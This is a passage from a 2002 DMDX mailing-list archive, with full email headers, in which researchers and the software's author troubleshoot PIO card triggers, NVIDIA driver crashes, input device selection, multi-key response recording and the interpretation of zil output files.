single events, but the LOW pulse duration looks closer to 15msec when DMDX initializes. 2. ""... put a RC filter on it so it takes a pulse longer than a few ms to trigger ..."" I must have been reading your mind, sort of, because I followed your earlier suggestion to build some extra delay into the trigger signal, but I used an RC network instead of more logic gates. 3. I'm glad that I didn't have to resort to using a one-shot based noise discriminator because the trigger delays could have been inconvenient. They might have their uses though in tough environments like MRI studies. If anyone is interested, this design reference might be helpful: www.fairchildsemi.com/an/AN/AN-366.pdf Thanks again! Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 (office) Tlf. +46 (031) 34 21 283 (laboratory) Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 25 10:47:42 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA27835 for ; Mon, 25 Mar 2002 10:45:55 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.040) id 3C99F4BA0006699F for DMDX@psy1.psych.arizona.edu; Mon, 25 Mar 2002 10:45:55 -0700 Message-Id: <5.1.0.14.2.20020325103800.00b33370@psy1.psych.arizona.edu> Date: Mon, 25 Mar 2002 10:45:54 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: does PIO-12 normally reset 'low' whenDMDXisstarted? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:47 PM 3/25/2002 +0100, you wrote: >1. > Assume that the LOW pulse generated by the DMDX PIO initialization is > > rather short (< 20 msec). > >""It will never be longer than 2ms. Not unless something goes badly awry."" > >Hmmmm. I'm using an analog scope, so it's not easy to see these single >events, but the >LOW pulse duration looks closer to 15msec when DMDX initializes. Odd, the system call to Sleep() is for 2 milliseconds, when I benchmark the retrace tracking code the calls to Sleep() that it makes are usually for the requested number of milliseconds. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Expert, n.: Someone who comes from out of town and shows slides. >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 25 22:09:27 2002 Received: from lakemtao04.cox.net (lakemtao04.cox.net [68.1.17.241]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id WAA29533 for ; Mon, 25 Mar 2002 22:08:32 -0700 Received: from chinantas ([68.0.129.84]) by lakemtao04.cox.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with SMTP id <20020326050800.DCKY21159.lakemtao04.cox.net@chinantas> for ; Tue, 26 Mar 2002 00:08:00 -0500 From: ""Matthew Finkbeiner"" To: Subject: [DMDX] RE: Re: WindowsXP and DMDX Date: Mon, 25 Mar 2002 22:13:49 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20020325083553.00b39e20@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > Get some new video card drivers, DMDX runs fine under XP. > Actually, it was my new drivers that were causing the problem. I had already downloaded the newest nvidia drivers for my GeForce card, which let me use the resolution that I prefer, but they were apparently causing my system to crash -- but again, only when I exited DMDX after running a file. So, I reinstalled the older drivers and now everything works just fine as far as DMDX goes. Matthew >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 26 08:26:48 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA30818 for ; Tue, 26 Mar 2002 08:26:02 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.2) by deimos.email.Arizona.EDU (6.0.040) id 3CA0883500000F4E for DMDX@psy1.psych.arizona.edu; Tue, 26 Mar 2002 08:26:01 -0700 Message-Id: <5.1.0.14.2.20020326082313.00b4ff98@psy1.psych.arizona.edu> Date: Tue, 26 Mar 2002 08:26:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RE: Re: WindowsXP and DMDX In-Reply-To: References: <5.1.0.14.2.20020325083553.00b39e20@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:13 PM 3/25/2002 -0700, you wrote: > > Get some new video card drivers, DMDX runs fine under XP. > > >Actually, it was my new drivers that were causing the problem. I had >already downloaded the newest nvidia drivers for my GeForce card, which let >me use the resolution that I prefer, but they were apparently causing my >system to crash -- but again, only when I exited DMDX after running a file. >So, I reinstalled the older drivers and now everything works just fine as >far as DMDX goes. Hmm, the newer drivers will probably be fine if you run DMDX with ""-buffers 4"" at then end of the command line in the shortcut that runs DMDX. The GeForce does everything in hardware and when DMDX asks for 24 back buffers there isn't enough hardware to do it and NVIDIA's drivers just don't handle requests like that so everything melts down. I've told them about it, they point blank refuse to do anything about it. So you limit what DMDX asks for with the -buffers option. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is now proven beyond doubt that smoking is the leading cause of statistics. - F. Knebel >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 26 09:39:56 2002 Received: from web12404.mail.yahoo.com (web12404.mail.yahoo.com [216.136.173.131]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA31066 for ; Tue, 26 Mar 2002 09:39:16 -0700 Message-ID: <20020326163915.41966.qmail@web12404.mail.yahoo.com> Received: from [200.43.74.99] by web12404.mail.yahoo.com via HTTP; Tue, 26 Mar 2002 13:39:15 ART Date: Tue, 26 Mar 2002 13:39:15 -0300 (ART) From: =?iso-8859-1?q?federico=20beines?= Subject: [DMDX] keyboard selection failed To: DMDX@psy1.psych.arizona.edu In-Reply-To: <5.1.0.14.2.20020326082313.00b4ff98@psy1.psych.arizona.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello! I live in Argentina and I am trying to start some experiments with masked semantic priming. I cannot run any item file because I have no way for selecting the keyboard device in the Input test of Time DX. I can test every keys but there is no box for ""accept"" nor ""apply"", so when you open again the dialog box I read, no device is selected. The errors that appear are the same for my file and for the example files in the folder of demos: Item file C:/DMDX/alfin.rtf parsed file is rtfparsed.itm getting file__ wait Scrambled file is scramble.itm input device failed Sometimes, if the file is not in the DMDX folder, I read this thing not only there but on another separate window. What I want to run is this: N16 F100 0 �Press SPACEBAR or FOOTPEDAL to start�; +101 ""########"" / ""hambre"" / * ""POBRE"" /; +201 ""########"" / ""sangre"" / * �SOL"" /; +202 ""########"" / ""muerte"" / * �CAMA"" /; +1 ""########"" / ""higo"" / * �VIAJE"" /; 0 �The END! Thank you for taking part.�; The mouse cannot be tested, I have a notebook with a touch pad. Can anybody help me in how to select any input device? Thank you very much, Federico Beines Conectate a Internet GRATIS con Yahoo! Conexi�n: http://conexion.yahoo.com.ar >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 26 09:50:59 2002 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA31100 for ; Tue, 26 Mar 2002 09:50:48 -0700 Received: from pc057.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Tue, 26 Mar 2002 16:50:44 GMT Message-Id: <5.1.0.14.2.20020326165434.02a22c80@pophost.mrc-cbu.cam.ac.uk> Date: Tue, 26 Mar 2002 16:56:44 +0000 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: keyboard selection failed In-Reply-To: <20020326163915.41966.qmail@web12404.mail.yahoo.com> References: <5.1.0.14.2.20020326082313.00b4ff98@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Are you running Spanish Windows? Try putting using the Spanish word for keyboard. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 26 11:33:51 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA31444 for ; Tue, 26 Mar 2002 11:33:17 -0700 Received: from COMM301 (128.196.93.31) by phobos.email.Arizona.EDU (6.0.040) id 3CA0619F0000CD84 for DMDX@psy1.psych.arizona.edu; Tue, 26 Mar 2002 11:33:17 -0700 From: ""Matthew Finkbeiner"" To: Subject: [DMDX] RE: RE: Re: WindowsXP and DMDX Date: Tue, 26 Mar 2002 11:33:30 -0700 Message-ID: <000901c1d4f4$ba6451d0$1f5dc480@COMM301> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20020326082313.00b4ff98@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list The -buffer 4 tweak worked. Excellent! Now I can use my Detonator XP drivers, which allow me to use 1152X864 resolution with an acceptable refresh rate on an otherwise crappy monitor, AND run DMDX without crashing the system. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of j.c.f. Sent: Tuesday, March 26, 2002 8:26 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Re: WindowsXP and DMDX At 10:13 PM 3/25/2002 -0700, you wrote: > > Get some new video card drivers, DMDX runs fine under XP. > > >Actually, it was my new drivers that were causing the problem. I had >already downloaded the newest nvidia drivers for my GeForce card, which >let me use the resolution that I prefer, but they were apparently >causing my system to crash -- but again, only when I exited DMDX after >running a file. So, I reinstalled the older drivers and now everything >works just fine as far as DMDX goes. Hmm, the newer drivers will probably be fine if you run DMDX with ""-buffers 4"" at then end of the command line in the shortcut that runs DMDX. The GeForce does everything in hardware and when DMDX asks for 24 back buffers there isn't enough hardware to do it and NVIDIA's drivers just don't handle requests like that so everything melts down. I've told them about it, they point blank refuse to do anything about it. So you limit what DMDX asks for with the -buffers option. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is now proven beyond doubt that smoking is the leading cause of statistics. - F. Knebel ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Fri Mar 29 03:06:07 2002 Received: from ling.ucsd.edu (ling.ucsd.edu [132.239.165.2]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA08260 for ; Fri, 29 Mar 2002 03:04:49 -0700 Received: from localhost (cleung@localhost) by ling.ucsd.edu (8.11.6/8.11.3) with ESMTP id g2TA4m606230 for ; Fri, 29 Mar 2002 02:04:49 -0800 (PST) Date: Fri, 29 Mar 2002 02:04:48 -0800 (PST) From: Cheryl Leung To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] macro w/ 4 rankings In-Reply-To: <200203190244.g2J2i1x27960@qix.software.umn.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am still in the process of preparing my first experiment with DMDX. I have learned that if an experiment involves 2 possible responses, one can find out what the subject has selected in the .azk file through the + (positive) and - (negative) signs in front of the reaction time. With the help from Mr. Benning, I was able to write an experiment that includes four possible responses, i.e. 1, 2, 3, and 4. However, I just realize that the .azk file does not record the exact choice selected by the subject. Since a ""preferred response"" is indicated along within the stimulus frame, the .azk file only indicates whether the subject's response MATCHES that indicated in the .rtf file through the + and - system. I am wondering whether there is a way for DMDX to record the response choice selected by the subject. For instance, in the following example that Mr. Benning kindly wrote, with the correct answer to the fox question indicated as ""1"", any response other than ""1"" will be treated as a negative RT in the .azk file. And I am wondering whether it would be possible for DMDX to record which wrong answer the subject chose. > > > 3.) Same experiment, we would like the subjects to respond after each > > stimulus by pressing 1, 2, 3, or 4, (i.e. ranks from the scale) and be > > able to record their responses. I am wondering if this can be done at > > all. > > Make some macros at the beginning of the experiment that define each of the > correct responses. Each frame in this item defines a different macro. I > made a total of 9 macros that allow each of the number keys 1-9 to be > mapped as the correct response, with every other number key being mapped as > an incorrect response. There's also another macro at the very end that > treats only the Enter key as a response, used for when I want the subject > to be able to toggle through instruction screens and the like. > > 1 m1= +4>=/ m2= Time:�> +7>=/ m3= +2>=/ m4= �Correct! Time:�> +6>=/ m5= +1>=/ > m6= +5>=/ m7= Time:�> +7>=/ m8= +2>=/ m9= �Correct! Time:�> +6>=/ m0==; > > Each macro can be called as a ~ followed by the macro number (in my case, > also the number of the desired correct response) as demonstrated in this > code: > > +6 ~0 / / @-2 �Last week, you read a passage about a fox > and a dog.�, @-1 �Here are the questions about that passage.�, @1 �Press > ENTER to continue.�*; > > +7 ~1 @-3 �What color was the fox?�, @-1 �1. Brown�, @0 �2. Green�, @1 > �3. Black�, @2 �4. White�*; Any help would be greatly appreciated. Sincerely, Cheryl Leung >From DMDX-owner@psy1.psych.arizona.edu Fri Mar 29 08:39:06 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA08993 for ; Fri, 29 Mar 2002 08:38:38 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.2) by deimos.email.Arizona.EDU (6.0.040) id 3CA36C3E0001B789 for DMDX@psy1.psych.arizona.edu; Fri, 29 Mar 2002 08:38:38 -0700 Message-Id: <5.1.0.14.2.20020329083643.00b4d258@psy1.psych.arizona.edu> Date: Fri, 29 Mar 2002 08:38:36 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: macro w/ 4 rankings In-Reply-To: References: <200203190244.g2J2i1x27960@qix.software.umn.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:04 AM 3/29/2002 -0800, you wrote: >system. I am wondering whether there is a way for DMDX to record the >response choice selected by the subject. See and : http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhzilliononeresponsekeyword.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhzillionresponseskeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is now proven beyond doubt that smoking is the leading cause of statistics. - F. Knebel >From DMDX-owner@psy1.psych.arizona.edu Mon Apr 1 09:11:25 2002 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA17079 for ; Mon, 1 Apr 2002 09:10:36 -0700 Received: from sabik.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Mon, 1 Apr 2002 17:10:34 +0100 (BST) Date: Mon, 1 Apr 2002 17:10:33 +0100 (BST) From: Matthew Brett To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] All responses from PIO device In-Reply-To: <5.1.0.14.2.20020329083643.00b4d258@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear all, I am very sorry if this is a dumb question, but I am afraid I can't get my head around the input device stuff related to zillion files. Here's my situation: I want to record on and off reponses from any of bits 0-4 from my PIO card. I found out recently, and disastrously too late, that DMDX only records responses to the zil file from bits 0-2 by default - is this correct? So, if I want bits 0-4 I have to: (mip 7> ( to enable the first 8 bits on the PIO card) ... (to ask that all these responses should be recorded to the zil file). This still means that +Bit0 will give a REQUEST response, i.e. they will allow the task to continue after a 0 item. Is this correct? Sorry if I have got confused. Cheers, Matthew >From DMDX-owner@psy1.psych.arizona.edu Mon Apr 1 09:56:59 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA17216 for ; Mon, 1 Apr 2002 09:56:52 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.040) id 3CA36C3E000599F5 for DMDX@psy1.psych.arizona.edu; Mon, 1 Apr 2002 09:56:52 -0700 Message-Id: <5.1.0.14.2.20020401095335.00b333b0@psy1.psych.arizona.edu> Date: Mon, 01 Apr 2002 09:56:51 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: All responses from PIO device In-Reply-To: References: <5.1.0.14.2.20020329083643.00b4d258@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:10 PM 4/1/2002 +0100, you wrote: >Dear all, > >I am very sorry if this is a dumb question, but I am afraid I can't get my >head around the input device stuff related to zillion files. Here's my >situation: I want to record on and off reponses from any of bits 0-4 from >my PIO card. I found out recently, and disastrously too late, that DMDX >only records responses to the zil file from bits 0-2 by default - is this >correct? So, if I want bits 0-4 I have to: > >(mip 7> ( to enable the first 8 bits on the PIO card) Nope, that enables the first 3 bits, it's a binary mask. If you want bits 0 to 4 you want (it's also octal). > ... >(to ask that all these responses should be recorded to the zil file). > >This still means that +Bit0 will give a REQUEST response, i.e. they will >allow the task to continue after a 0 item. > >Is this correct? Sorry if I have got confused. Yes, that mapping will stay in effect until a . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Expert, n.: Someone who comes from out of town and shows slides. >From DMDX-owner@psy1.psych.arizona.edu Tue Apr 2 13:32:44 2002 Received: from julesburg.uits.indiana.edu (julesburg.uits.indiana.edu [129.79.1.75]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA20402 for ; Tue, 2 Apr 2002 13:32:09 -0700 Received: from indiana.edu ([129.79.164.98]) by julesburg.uits.indiana.edu (8.12.1/8.12.1/IUPO) with ESMTP id g32KW6TA024033 for ; Tue, 2 Apr 2002 15:32:06 -0500 (EST) Message-ID: <3CAA1587.7F6CC010@indiana.edu> Date: Tue, 02 Apr 2002 15:33:11 -0500 From: Mario Fific MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] PCIDIO card Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Our PCIDIO card is designed to emulate the 8255 PIO on a Metrabyte card, but unlike the Metrabyte which can be hard- wired only to 300h or 310h, our card negotiates its address during Plug&Play, and after that we can't safely override the values it gets assigned. So we determined the address of the card (from device manager) and it is D800 (hex). Unfortunatelly when go to do PIO test it doesn't respond. Thanks, Mario F. >From DMDX-owner@psy1.psych.arizona.edu Tue Apr 2 13:49:01 2002 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA20464 for ; Tue, 2 Apr 2002 13:48:53 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id PAA06041 for ; Tue, 2 Apr 2002 15:48:51 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.11.2/8.10.1/ND-cluster) with ESMTP id g32KmqV15098 for ; Tue, 2 Apr 2002 15:48:52 -0500 (EST) Date: Tue, 2 Apr 2002 15:48:52 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: PCIDIO card In-Reply-To: <3CAA1587.7F6CC010@indiana.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Mario -- we had the same problem, and resolution requires the IO emulator that comes with your card. If you're using the Keithley board, installation and use are very straightforward. If that's the case, let me know and I can point you to the necessary docs. -Michael > Our PCIDIO card is designed to emulate the 8255 PIO on a > Metrabyte card, but unlike the Metrabyte which can be hard- > wired only to 300h or 310h, our card negotiates its address > during Plug&Play, and after that we can't safely override the > values it gets assigned. > > So we determined the address of the card (from device manager) > and it is D800 (hex). Unfortunatelly when go to do PIO test it > doesn't respond. ------------------------------------------------------------------- Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 Office phone: (574) 631-9429 Dept. fax: (574) 631-8883 E-mail: Michael.J.Wenger.4@nd.edu mwenger1@nd.edu http://www.nd.edu/~mwenger1 ------------------------------------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 4 16:42:10 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA26704 for ; Thu, 4 Apr 2002 16:40:00 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.040) id 3CA36E69000E0B1B for DMDX@psy1.psych.arizona.edu; Thu, 4 Apr 2002 16:40:00 -0700 Message-Id: <5.1.0.14.2.20020404163710.00b333b0@psy1.psych.arizona.edu> Date: Thu, 04 Apr 2002 16:40:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] 2.7.02 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list DMDX 2.7.02 is available, it fixes the busted keyword. Counter N would wind up with the lastRT value (abs(reaction time)). Alternate new syntax always worked, only the old syntax was busted. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Expert, n.: Someone who comes from out of town and shows slides. >From DMDX-owner@psy1.psych.arizona.edu Tue Apr 9 13:06:35 2002 Received: from ling.ucsd.edu (ling.ucsd.edu [132.239.165.2]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA07277 for ; Tue, 9 Apr 2002 13:05:49 -0700 Received: from localhost (cleung@localhost) by ling.ucsd.edu (8.11.6/8.11.3) with ESMTP id g39K5mu28384 for ; Tue, 9 Apr 2002 13:05:48 -0700 (PDT) Date: Tue, 9 Apr 2002 13:05:48 -0700 (PDT) From: Cheryl Leung To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Interpreting zil file Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list A quick question concerning the recorded results on a zil file: All possible responses were numbers 1-9. I am sure that the numbers were only pressed one during the experimental runs. However, the zil file seems to have recorded twice. Here is an example of what appearred on the zil file: Item 32 653.19,+4 866.71,-4 Item 29 899.21,+2 1129.53,-2 Item 33 626.90,+4 962.09,-4 where for item 32, the subject responded with a (4), for item 29 - a (2), for item 33 - a (4). SInce there seems to be 2 separate reaction times for the response, what do they mean? or what number should be counted as the real reaction time? the average of the two? Hope my question makes sense. Sincerely, Cheryl Leung >From DMDX-owner@psy1.psych.arizona.edu Tue Apr 9 13:26:41 2002 Received: from mhub-c5.tc.umn.edu (mhub-c5.tc.umn.edu [160.94.128.51]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA07361 for ; Tue, 9 Apr 2002 13:26:33 -0700 Received: from qix.software.umn.edu by mhub-c5.tc.umn.edu with ESMTP for DMDX@psy1.psych.arizona.edu; Tue, 9 Apr 2002 15:26:32 -0500 Received: (from nobody@localhost) by qix.software.umn.edu (8.11.6/8.11.6) id g39KQsC22967; Tue, 9 Apr 2002 15:26:54 -0500 Message-Id: <200204092026.g39KQsC22967@qix.software.umn.edu> Date: Tue, 09 Apr 2002 15:26:54 CDT From: ""Stephen D. Benning"" Subject: [DMDX] Re: Interpreting zil file To: DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list On 9 Apr 2002, Cheryl Leung wrote: > A quick question concerning the recorded results on a zil file: > > All possible responses were numbers 1-9. I am sure that the numbers were > only pressed one during the experimental runs. However, the zil file > seems to have recorded twice. Here is an example of what appearred on the > zil file: > > Item 32 > 653.19,+4 866.71,-4 > Item 29 > 899.21,+2 1129.53,-2 > Item 33 > 626.90,+4 962.09,-4 Looks to me like this zil file recorded the time your subject first pressed the button down (the +# response) and when s/he released the button (the subsequent -# response). You'd probably want to count the first of each pair as the response time. If you were so inclined, you could calculate ""keypress time"" from this data as a variable. Stephen >From DMDX-owner@psy1.psych.arizona.edu Tue Apr 9 15:26:18 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA07659 for ; Tue, 9 Apr 2002 15:25:55 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.040) id 3CB3416300008558 for DMDX@psy1.psych.arizona.edu; Tue, 9 Apr 2002 15:25:55 -0700 Message-Id: <5.1.0.14.2.20020409152410.00b33480@psy1.psych.arizona.edu> Date: Tue, 09 Apr 2002 15:25:55 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Interpreting zil file In-Reply-To: <200204092026.g39KQsC22967@qix.software.umn.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:26 PM 4/9/2002 -0500, you wrote: >Looks to me like this zil file recorded the time your subject first pressed >the button down (the +# response) and when s/he released the button (the >subsequent -# response). You'd probably want to count the first of each >pair as the response time. If you were so inclined, you could calculate >""keypress time"" from this data as a variable. And if you don't want to see the key release information you'll have to validate the keystrokes you do want recorded with etc. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Expert, n.: Someone who comes from out of town and shows slides. >From DMDX-owner@psy1.psych.arizona.edu Wed Apr 10 03:57:50 2002 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA09068 for ; Wed, 10 Apr 2002 03:57:17 -0700 Received: from pc057.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Wed, 10 Apr 2002 11:57:14 +0100 (BST) Message-Id: <5.1.0.14.2.20020410115847.00a9cec0@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 10 Apr 2002 12:03:25 +0100 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Item numbers given as RTs Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_5335031==_.ALT"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=====================_5335031==_.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed Here's a weird one. When we run DMDX on one of our machines, it gives the item number as the RT. Below is a bit of the .azk file and a bit of the script. Has anyone else had this problem. It is Dell machine, same as all the other ones we run DMDX on. - Mike Subjects incorporated to date: 001 Data file started on machine PC 106 ********************************************************************** Subject 1, 04/09/2002 20:25:52 on PC 106, refresh 11.75ms, ID Geoff Item RT 21 21.00 76 76.00 107 107.00 60 60.00 44 44.00 +1 *""HHHHHHH"" /; +2 *""KKKKKKK"" /; -3 *""SSSSSSS"" /; -4 *""CCCCCCC"" /; +5 